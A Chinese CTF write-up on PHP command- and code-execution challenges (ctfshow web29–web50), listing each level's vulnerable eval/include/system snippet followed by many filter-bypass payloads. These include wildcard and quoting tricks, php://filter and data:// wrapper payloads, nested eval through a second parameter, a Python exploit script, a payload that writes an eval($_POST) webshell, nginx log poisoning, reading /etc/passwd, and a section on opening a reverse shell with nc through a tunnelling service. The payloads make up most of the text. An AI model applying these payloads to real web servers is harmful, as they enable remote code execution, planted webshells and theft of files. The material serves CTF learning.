CTF命令执行总结:https://blog.csdn.net/qq_45760866/article/details/116993292(好)
执行常见系统命令/函数
常见的系统命令可以进行命令执行:
awk 格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出
cat/tac 读取,tac是cat的倒向读取
nl 读取文件,并在文件的每一行前面标上行号
vi/vim 编辑器,可以实现查看文件
od 二进制方式读取文件内容
more 类似于cat
mv/cp 复制,但是可以通过复制的文件输出
unique 可以通过file -f;报错出具体内容
ls 读目录
实际操作就是通过以上命令实现命令执行
函数
system() 执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号 同shell_exec()
eval() 执行命令
show_source() 高亮显示文件
highlight_file() 高亮显示文件
array_reverse() 反向输出元素
pos() 输出当前元素的值
localeconv() 返回一包含本地数字及货币格式信息的数组
include 一般用于括号被过滤的情况,因为可以不用括号
require 一般用于括号被过滤的情况,因为可以不用括号
echo() 输出
next() 下一个元素
无公网IP反弹shell(花生壳)
通过一个命令执行的题目web29来试一下如何没有公网ip的情况下如何反弹shell,看一下效果
①在一台内网的主机的虚拟机,比如我在kali里面监听一个端口,nc -lvvnp 54321
②直接使用花生壳——点击映射数进入花生壳管理——点击添加映射
https://console.hsk.oray.com/forward
③添加映射,配置如下他会生成一个ip地址
④命令执行,直接使用nc(-e参数再后面,在前面的话会报错)
⑤原理:
花生壳的原理:它是一个cs结构,server端通过网页来控制的,它是怎么来实现内网穿透呢?
首先本机安装了一个花生壳,是Client端,服务器端有一个S端,S端它会给你分配一个域名,你访问这个域名的时候和这个端口的时候,他会通过TCP协议调用C端,也就是本机的客户端(因为TCP连接,可以从外部连接到内部的,连接到本机的客户端,客户端收到消息,它会和服务器重新建立另一个连接,就是转发连接),转发连接就是我服务器端收到什么命令就发到客户端,客户端收到了通过链接服务端来把数据反射服务端,这样就实现内网的穿透!
WEB29
hint:命令执行,需要严格的过滤
<?php
error_reporting(0);//屏蔽错误
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);//eval()不是函数,是PHP的一种语言结构,eval() 会将字符串当作php代码执行。
}
}else{
highlight_file(__FILE__);
}
出题人思路:
发现这里过滤了flag,其中eval会执行括号内的字符串把它当做PHP代码执行
首先尝试一下c=phpinfo(); //注意要带上分号
尝试c=phpinfo()?> //这里没有分号也可以显示出来(PHP最后一条语句是可以没有分号的)
尝试c=system('ls'); // flag.php index.php
我们用c=system('cp fla?.php 1.txt'); 然后再直接访问/1.txt(出现flag)
为什么换成问号可以出来呢?因为问号在shell里面是一个占位符,和正则比较相似,表示一个字符
其他思路:
我们尝试提交/?c=system(“pwd”); 在网站根目录下
由于过滤了flag,在PHP语句中,我们可以采用通配符匹配:
我们尝试提交/?c=system(“cat /fla*.php”);(先进入根目录)
查看网站源代码后发现flag:
参考:https://blog.csdn.net/solitudi/article/details/109837640
参考大佬的博客还发现如下几种绕过方法:
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl""ag.php`;(反引号也可以命令执行,只不过要输出)
payload4:c=echo `nl fl\ag.php`; //转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php //先写个文件包含,再读取
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php|| //该命令意思是其全局检索flag.php内容并输出
还有很多姿势,毕竟等于没过滤
绕过字符:cat ,ca''t,ca\t,ca""t三个的效果是一样的
了解 eval函数之后,传入:
c=echo "npfs";?>ctf <?php system('ls');
可以看到有 flag.php文件,之后采用include进行包含读取
payload:
?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
Linux中nl命令可以代替cat命令(显示行号输出)
print $0 打印整行,$0表示当前行;若是$1则表示当前行的第一个字段,依此类推。
|| 是或
eval()是把括号里面的字符串当作PHP代码执行!要区分命令执行和代码执行!为什么问号可以出来呢?因为问号在shell里面是一个占位符,和正则比较相似。(通配符在命令执行中是可以用的,在代码执行里面就不行),比如eval(system(‘cat fla?.php’););中可以使用通配符,因为cat fla?.php是一个命令执行(shell)。
WEB30
hint:命令执行,需要严格的过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
出题人解法:
/?c=`cp fla?.??? 1.txt`;
然后直接访问1.txt,这样也是可以的
为什么呢?反引号在PHP里面代表的和system一样,类似shell执行
因为PHP过滤了,用三个问号占位符代表当前目录下以fla开头,后面有一个字符,然后是一个点,后面还有三个字符
因为当前目录下只有一个flag.php,满足这个条件,所有它可以匹配成功
或者:
?c=echo shell_exec(“ls”);
?c=echo shell_exec(“tac fla’’g.ph\p”);
其他解法:
根据源码可知,过滤了flag、system、php(i表示对大小写不敏感)
命令执行函数除了system还有exec()、shell_exec()、passthru()、popen()、反引号等
system() | system() 能够将字符串作为OS 命令执行,自带输出功能 |
---|---|
exec() | exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。 |
shell_exec() | 应用最广泛,也需要print |
passthru() | 自带输出 |
popen() | popen() 也能够执行OS 命令,但是该函数命令执行结果并不会返回结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。也就是说,我们在写这些命令的时候,我们需要把它文件的执行结果导入到一个文件中。 |
反引号 | 不叫函数,叫一种语言结构。反引号[``] 内的字符串,也会被解析成OS 命令。配合输出使用(echo等) |
发现我们也可以通过通配符绕过:
测试:/?c=echo nl fl''ag.ph*
;(反引号命令执行/通配符/‘’绕过)
这里采用反引号绕过
解法一:
payload:c=echo cat f*
;
解法二:
payload:
?c=echo “npfs “; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
eval(echo “npfs “; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php);
?>把前面的<?php闭合了,&url=php://filter/read=convert.base64-encode/resource=flag.php);就直接get取参了
其他payload:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用
WEB31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag、system、php、cat、sort、shell、. 、空格、单引号,且对大小写不敏感。
出题人解法:
我们可以试着嵌套eval执行
?c=eval($_GET[1]);&1=phpinfo(); //让他执行get的第一个参数,这里1就相当于这个参数逃逸出去了,它不属于c
这里可以任意使用ban掉的关键字,也是可以实现的:
?c=eval($_GET[1]);&1=system("ls");
?c=eval($_GET[1]);&1=system("cat flag.php");
这道题我们采用了一个特殊的办法就是用c参数用一个跳板传进去的值是让他执行另一个参数的值,
那么另一个参数1就脱离了对c正则判断,所以我们用ban掉的关键字也可以执行
其他解法:
?c=echo nl /fla*.ph""p
;(X)点也过滤了啊
c=eval($_GET[1]);&1=system(‘nl flag.php’); //只会匹配第一条PHP语句,也就是eval($_GET[1]);
测试其他payload:
来自Y4师傅的payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=echo exec(‘nl fla?????’);(x 但是我不知道这个payload为什么不行,上面过滤的都没有昂?)
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php(√)
c=eval($_GET[1]);&1=system(‘nl flag.php’);(√)
c=awk ‘{printf $0}’ flag.php||(X)
WEB32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag、system、php、cat、sort、shell、. 、空格、单引号、反引号、echo、分号、左括号,且对大小写不敏感。
出题人解法:
主要是把分号和左括号也ban掉了,这时候我们接着逃逸。当然用上一个题的方法也是可以的,我们换一种方法试试。没有空格的话,用url编码可以绕过;没有分号的话上面说了PHP语句的最后一句是可以没有分号的,
这里可以用include试试?c=include%0a$_GET[1]?>&1=/etc/passwd (%0a是换行符,继续逃逸出1参数)包含成功!试试:?c=include%0a$_GET[1]?>&1=flag.php,没有回显
为什么呢?虽然是包含,但是没有输出flag变量,虽然可以确定是包含进去了但是没有输出,因为include%0a$_GET[1]没有分号分隔照成无法输出,这时候我们可以按照文件包含来做,可以用hackbar的插件(选择LFI),1参数逃逸出来了,基本就没有其他过滤了
这道题我们是使用文件包含的方法变相的读取任意文件(通过base64编码的过滤器来读取flag.php)
php://filter/convert.base64-encode/resource=
这个伪协议代表的意思就是通过指定的一个通道来读取某个文件,某个资源,这里的filter表示使用通道
base64-encode表示这个通道名字是base64,整体就是我读到的资源是先用base64进行编码,为什么要用base64编码呢?因为不用base64的话是看不到源文件的!
小知识:include不用括号,分号可以用?>代替。
c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
其他payload:
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
知识:
文件包含之PHP 封装协议的使用--传输PHP 文件
可以使用以下参数来传送任意PHP 文件。
?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的所有字符串base64 解码即可。
php://是PHP的伪协议
filter就是过滤
read是一个动作,怎么读呢?
convert.base64-encode:对我们要读的文件进行base64编码
resource=是一个文件的名字
补充几个关于伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= //(<?php phpinfo()?>的base64编码)
WEB33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比web32多过滤了个双引号
出题人解法:
当然这道题用前面的方法也是可以做的,我们尝试不用前面的方法也能做出来,刚刚我们用include,当然我们用require也是可以的!
/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
其他解法:
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php(可以用上个题目的payload,它也没用到双引号,再强调一下,include可以不用等号,分号可以使用?>代替)
其他payload:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”);?>
PHP的data协议:
通过data可以写一句话木马到服务器下
filename=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php @eval(\$_POST['x']);?>")?>
又想了一种可以include日志: /?c=include$_GET[0]&0=/var/log/nginx/access.log
同样可以拿到shell,然后读文件即可
WEB34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤:flag、system、php、cat、sort、shell、. 、空格、单双引号、反引号、echo、分号、左括号、冒号
出题人解法:
这里过滤冒号是为了过滤直接进行伪协议那种参数
上面方法依然可行,如果分号和左括号过滤了,我们只能使用语言结构(echo、print、isset、unset、include、require等),这几个语言结构的话它是不需要使用括号的,此题echo过滤了,isset、unset也用不了,可以试一下print、include、require这三个
试试:?c=print%0a$_GET[1]?>&1=phpinfo(); //不能执行,只出现了phpinfo();字符串,没有回显界面
这里面其实跟我们二进制比较类似,这里面就属于一个代码空间和数据空间,二进制里面有代码段和数据段,phpinfo属于在数据段,不在代码段,所以它执行不了。你就意识到它是作为一个字符串系统来理解,如果要让他执行,就要把print变为eval,用eval必须要有括号才能执行这样的代码,所以eval行不通,用include:
?c=include%0a$_GET[1]?>&1=/etc/passwd;这里是可以正常读取的,但是它不是说是代码执行,只能说文件读取,继续读取:
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
上面解释的代码空间和数据空间搞清楚
其他方法:
同样可以用上一题的payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”)?>
WEB35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
比web36多过滤了左尖括号和等号
出题人解法:
必须用上一题的方法解,原因在上一题解释过了
同样可以用上一题的payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”)?>
WEB36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比WEB35多过滤了撇斜杠和[0-9](不让用数字就可以用字母,我们0换成a就行)
同样可以用上一题的payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
或者:
c=include$_GET[a]?>&a=data://text/plain,<?php system(“nl flag.php”)?>
这里中括号里面的a不用单引号,为什么可以不用单引号呢?为了PHP向下兼容,目前还没取消这种解法,以后版本更新可能不能这样写。
WEB37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
WEB37和之前代码的区别就是eval变成 include了,它说是不能包含flag,我先试用包含其他参数试一下:
?c=$_GET[1]&1=flag.php(X)
原因:把$_GET[1]作为数据领域,它不是代码执行的,它只能包含flag.php这个字符串,但是不能解析这个字符串的值
换一种写法
?c=php://filter/convert.base64-encode/resource=flag.php(X),也有flag内容了
考点是伪协议,可以用data协议:
?c=data://text/plain,<?php phpinfo();?> (√) //data伪协议是把后面的数字字符串作为PHP代码执行
由于过滤了flag,我们可以用老办法复制:
?c=data://text/plain,<?php system(“mv fla?.php 1.txt”);?> 再直接访问1.txt
还可以配合UA头执行日志包含 c=/var/log/nginx/access.log
WEB38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
PHP中include用来包含调用的PHP文件中的函数
?c=$_GET[1]&1=flag.php(X)
原因:include中, 把$_GET[1]作为数据领域,它不是代码执行的,它只能包含flag.php这个字符串,但是不能解析这个字符串的值
payload:c=data://text/plain,<?=system(“cp fl. 1.txt”);?>
?c=data://text/plain,<?= system(“tac fla’’g.p\hp”);?>
因为把PHP过滤了,我们可以试一下PHP短标签
执行后我们再访问1.txt,得到flag
注意上面要写成<?=system(xxxx);?>不要写成<??>,否则得不到flag,具体原因我也不知道。。。
WEB39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
与WEB37不同的是没有回显了,还强制加了后缀,include中$c后加了“.php”后缀
继续试一下data协议:c=data://text/plain,<?=phpinfo();?>
可以看到直接RCE了,虽然她后面有后缀,完整的话会变成:c=data://text/plain,<?=phpinfo();?>.php,那么他会先执行<?=phpinfo();?>,后面的”.php”执行不了,所以应该是会报错:
如果理解不了,可以改为:
如果我们把后面的.php去掉会回显2.php
所以这里有没有.php都不会影响前面的代码执行,继续用system:
c=data://text/plain,<?=system(“nl fla?.php”);?>
这个题目就是要深入理解一下代码执行和文件包含之间的关系
这条语句会直接在include()括号内执行,好像有没有include这里都无所谓,我这么理解也不知道对不对,PHP,没学好~
文件包含的时候里面不能有通配符,所以这道题借助了data协议读取文件内容
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
WEB40(★构造无参数函数进行读取)
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
出题人解法:
1、首先用hint里面的方法提交c=show_source(next(array_reverse(scandir(pos(localeconv())))));
可以拿到flag,它是通过货币信息去这个点“.”,然后扫描当前目录,然后把目录的结果进行翻转,然后取下一个,再显示源码。
2、不用hint提供的方法,为什么不用c=session_start();system(session_id()); passid=ls 这种方法呢?我们直接写c=c=session_start();system(session_id());,然后我们需要修改PHPSESSID的value为ls,它是可以看到的,但是我们能不能拿到它的值呢?,我们修改value为tac flag.php,再执行,这样是拿不到的,而且PHPSESSID也变了,那么下面我们用自己的办法,不用提示的方法:
3、现在不能用$的话就不能用老方法了,我们可以打印当前所有的变量,看能不能从变量中找到一点东西:c=print_r(get_defined_vars());(可以拿到,这里有GET变量,POST变量,COOKIE变量等)
我们可以给它加一个POST数组,回显变了,我们肯定要那回显中的phpinfo();这个字符串,只要执行这个字符串,就说明我们可以RCE。
我们怎么拿到这个字符串呢?我们用print_r(next(get_defined_vars()));拿到了Array([1]=>phpinfo();这个数组),下面我们要拿到它的数组值,直接试一下对数组进行弹出:c=print_r(array_pop(next(get_defined_vars()))); 回显出phpinfo();这个字符串
我们只需要让他执行一下即可:c=eval(array_pop(next(get_defined_vars()))); 我们可以RCE直接拿flag,这种方法也是比较怪异的方法
操作步骤截图如下:
它POST提交的参数不会进行拦截(因为此题是GET传参)
查看源代码得到flag:
其他解法:
本题中过滤了数字、~、反引号、@、#、$,%,^,&,等几乎所有的符号(就不能base64编码、URL编码)
仔细看下题会发现过滤的不是英文括号,而是中文括号。而且没有过滤分号。
所以基本的命令都可以用,但是很难受的是引号没了,美元符号没了。
这里可以构造无参数函数进行文件读取
无参数文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),*不能带参数
print_r(scandir('.'))
可以用来查看当前目录所有文件名
但是我们这里说的是要构造无参数的函数,所以我们要做的就是去掉这个点号
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
**localeconv() ** 函数 返回数组的第一项就是 . (小数点)
看来上面这篇文章应该可以知道scandir(current(localeconv())) 查看当前目录所有文件名
我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,记得成功读取flag.php文件:
c=print_r(scandir(current(localeconv())));
使用highlight_file高亮显示代码:highlight_file()函数将flag.php中的内容返回
payload:?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));
或者:readfile(array_rand(array_flip(scandir(current(localeconv())))));
WEB41(★异或构造任意字符)
考点:异或,如何异或构造任意字符
过滤不严,命令执行
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
目测没有过滤下划线、点、分号、括号、竖杠(也就是或)
那么这个题思路就很明显了,就是通过一些特殊字符来构造出字母,来实现代码执行
hint中有羽师傅写的脚本orz:https://blog.csdn.net/miuzzx/article/details/108569080
生成所有字符的一个脚本:生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
通过上面的脚本跑完会拿到urlencode以后进行或运算以后拿到的字符,这里面的字符都是十六进制的
Q1: 那为什么%40和%01或一下就是A呢?
十六进制的40是十进制的64,64转为二进制是0100 0000
%01的话就是————————————————————————— 0000 0001
或运算: 0100 0001,是十进制的65,65的ASCII是A
Q2:通过%40和%01进行或运算是大写的A,为什么不用小写的?
因为PHP的代码phpinfo();/PhpinFo();/PHPINFO(); 等都是合法的
这样我们可以用大写符号来调用我们指定的函数
那么我们试着产生一个phpinfo();用这种调用方式是我们经常遇到的,但是因为我们要构造字符串
所以我们要使用另外一种调用方式:——》('phpinfo')();这样也是可以执行的,语法正确
所以我们要在('phpinfo')这个括号里面生成我们需要执行的命令,然后来执行命令执行
测试:
我们直接拼凑一下:(‘system’)(‘ls’)
('%40'|'%13')();
为什么源码不能像上面一样写?
是提交的时候浏览器会自动进行解码,编码以后发送到服务端,服务端进行解码,这里面也可能会出现不可见字符
最后是:
(('%40'|'%13').('%40'|'%19').('%40'|'%13').('%40'|'%14').('%40'|'%05').('%60'|'%0d'))((('%40'|'%0c').('%40'|'%13')))
但是上面这样是不能执行的,为什么呢?如果它这里面有换行符的话,构造出来的结果可能是这里面会有一个换行符造成这个函数无效!
因为这里面有换行符%0d,如果出现换行符的话,这种函数写法是无效的:
system
();
怎么办呢?直接上羽师傅脚本:
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
执行结果:
我还没看到什么意思,带我细细琢磨一下!
这道题的考点其实就是异或,如何异或构造任意字符!
WEB42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");//2表示错误输出,1表示标准输出,把错误输出绑定到标准输出里面,统一输出到黑洞里面,所有c的返回结果是不显示的
}else{
highlight_file(__FILE__);
}
发现把所有输出结果都扔进了“黑洞”,不会有任何结果
比如c=ls
我们用一下比较骚的姿势:c=ls;ls 双写绕过,是可以拿到的
为什么双写能绕过?因为这里面有分割分号,它是把第二个命令写到黑洞里面去了,第一个命令就正常输出:
或者用tac就可以直接显示出来,不用查看源代码,因为tac就是逆向返回,这样的话可以把HTML的注释进行破坏
hint里面也有一种方式:cat flag.php%0a 查看源代码 %0a是换行符
WEB43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
相比上一题过滤了分号、cat
依然可以用上一题payload:c=tac flag.php%0a(把上一题hint中的cat换成tac即可)
得到flag
cat和tac就是:
tac:反序输出文件的内容,文件的最后一行显示在第一行
它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序
其他payload:
把分号过滤了,我们可以用&&,但是这里需要url编码:
c=ls&&ls ——》c=ls%26%26ls(√)
原因:&符号代表第一个命令执行成功以后才执行第二个命令,言下之意就是两个命令,输出黑洞的就是第二个命令,相当于把命令进行分割
至于&&为什么要编码我也不知道。
可以用||来代替&&编码后的%26%26,但是||不需要编码就能使用
WEB44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
比上一题还多过滤了flag
payload:c=tac fla?.php%0a,拿到flag
此题不可以双写,因为过滤了分隔符;
试一下c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=fla?.php%0a(X)我也不知道为什么不行
还可以用 c=tac fla?.php%26%26ls
WEB45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
比上面一题多过滤了空格(这里的空格不是PHP代码里面的空格,而是Linux的shell里面的空格)
payload:tac还可以换成nl
c=tac${IFS}fla?.php%0a
c=tac%09fla?.php%0a (%09是tab水平制表符)
c=tac$IFS$9fla?.php%0a
c=tac,fla?.php%0a(x)
c=tac%20fla?.php%0a(x)等
题目的hint是echo$IFStac$IFS*
%0A
WEB46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比上题还多过滤了数字、$、
*payload:c=tac%09fla?.php%0a(虽然%09里面有数字,但是自动解码后不属于数字)
或者c=tac%09fla?.php&&ls(x) 这里的两个&要进行url编码才能成功:?c=tac%09fla?.php%26%26ls
hint中给出的解法是:nl<fla’’g.php||(√)这里也可以用&&的编码%26%26来替换||(||为什么不需要编码?)
WEB47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
没有过滤上一题我们payload里面的字符,我们继续拿来用
?c=tac%09fla?.php%26%26ls
WEB48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明在Linux下读取文件的命令有很多
也没有过滤我们上题payload里面的字符,继续使用:?c=tac%09fla?.php%26%26ls
这里?可以用””或者’’代替:?c=tac%09fla’’g.php%26%26ls
hint: nl<fla’’g.php||
WEB49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还可以用上题flag:?c=tac%09fla’’g.php%26%26ls
WEB50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
可以看多过滤了x09和x26
我们可以用<>代替空格:c=tac<>fla’’g.php||ls 或者 c=tac<>fla’’g.php||ls或者c=nl
注意不要搞混了代码执行和命令执行!